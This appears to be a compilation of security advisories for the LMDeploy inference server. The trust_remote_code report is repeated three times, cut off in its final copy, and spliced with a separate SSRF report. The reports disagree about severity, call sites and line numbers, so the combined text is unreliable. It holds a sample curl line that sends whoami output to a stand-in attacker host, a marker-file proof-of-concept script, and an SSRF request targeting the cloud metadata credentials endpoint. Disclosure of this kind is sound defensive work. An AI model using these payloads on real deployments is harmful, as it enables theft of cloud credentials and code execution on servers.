📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
